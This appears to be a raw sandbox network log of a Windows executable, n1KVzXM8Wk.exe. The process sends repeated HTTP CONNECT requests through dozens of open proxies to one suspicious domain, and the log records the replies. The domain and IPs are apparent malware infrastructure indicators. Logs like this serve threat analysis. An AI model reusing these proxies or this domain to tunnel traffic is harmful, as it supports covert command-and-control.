Feb 23, 2024 09:45:26.866271019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.178946972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.475153923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680676937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.178500891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.178299904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1177	192.168.2.4	53068	159.203.5.54	58249	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.294298887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.365767002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.366292000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.368577957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:49.381159067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:01.381130934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:13.443686008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1178	192.168.2.4	53246	222.220.102.159	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.296752930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.679311991 CET	303	IN	HTTP/1.1 502 Bad Gateway Server: openresty Date: Fri, 23 Feb 2024 08:45:55 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>openresty</center></body></html>
Feb 23, 2024 09:45:58.696147919 CET	303	IN	HTTP/1.1 502 Bad Gateway Server: openresty Date: Fri, 23 Feb 2024 08:45:55 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1179	192.168.2.4	53370	200.111.182.6	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.305859089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1180	192.168.2.4	53372	200.111.182.6	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.308154106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1181	192.168.2.4	53374	200.111.182.6	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.324359894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1182	192.168.2.4	53375	200.111.182.6	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.331967115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1183	192.168.2.4	53320	162.243.102.207	9764	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.341022015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1184	192.168.2.4	53327	104.17.62.87	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.355407000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.443747997 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1185	192.168.2.4	53342	104.16.224.33	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.369024038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.455879927 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1186	192.168.2.4	53029	103.68.207.34	83	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.378165007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.443772078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1187	192.168.2.4	53308	68.71.249.153	48606	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.378309965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1188	192.168.2.4	53296	95.66.138.21	8880	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.401320934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1189	192.168.2.4	52519	79.143.187.58	1730	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.407166004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.475034952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.475318909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.475171089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1190	192.168.2.4	53378	104.19.83.128	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.425653934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.513187885 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1191	192.168.2.4	53299	154.236.176.28	1976	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.429327965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.055160999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.834816933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.333651066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.334750891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.334739923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.334779024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.266365051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.131248951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1192	192.168.2.4	53319	65.109.152.88	8888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.440218925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.629354000 CET	255	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Fri, 23 Feb 2024 08:45:25 GMT Content-Length: 88 Data Raw: 64 69 61 6c 20 74 63 70 3a 20 6c 6f 6f 6b 75 70 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 6f 6e 20 31 32 37 2e 30 2e 30 2e 31 3a 35 33 3a 20 6e 6f 20 73 75 63 68 20 68 6f 73 74 0a Data Ascii: dial tcp: lookup heygirlisheeverythingyouwantedinaman.com on 127.0.0.1:53: no such host

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1193	192.168.2.4	50663	139.9.119.20	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.483931065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.794040918 CET	641	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 522<html><head><meta http-equiv="Content-Type" content="textml;charset=GB2312" /><style>body{background-color:#FFFFFF}</style> <title>167.17</title><script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://114.115.192.246:9080/error.html"; }</script> </head><body><iframe style="width:100%; height:100%;" id="mainFrame" src="" frameborder="0" scrolling="no"/></body></html Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1194	192.168.2.4	52505	43.154.110.161	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.529436111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.680375099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.681669950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.682589054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:58.202316999 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1195	192.168.2.4	53298	175.183.82.221	8193	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.554795980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1196	192.168.2.4	52536	103.235.66.198	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.554908037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1197	192.168.2.4	53384	72.167.222.113	50471	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.582094908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.055160046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.589605093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.556019068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.292618036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.061141014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.844747066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.348170996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.266340971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1198	192.168.2.4	53388	50.63.12.101	2953	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.596038103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.178196907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.682993889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.680964947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.680713892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.681435108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.683835983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.368479013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:44.553018093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1199	192.168.2.4	52590	27.75.149.169	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.596059084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1200	192.168.2.4	53321	58.234.116.197	8197	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.597330093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1201	192.168.2.4	53403	161.97.147.193	37257	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.603494883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.055232048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1202	192.168.2.4	53418	162.243.102.207	9764	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.616328001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1203	192.168.2.4	53361	47.98.151.6	16144	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.654694080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1204	192.168.2.4	53365	115.223.11.212	50000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.663206100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.857355118 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1205	192.168.2.4	53406	58.75.126.235	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.681809902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1206	192.168.2.4	52600	41.65.236.35	1976	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.696154118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.865581036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.866120100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.866017103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
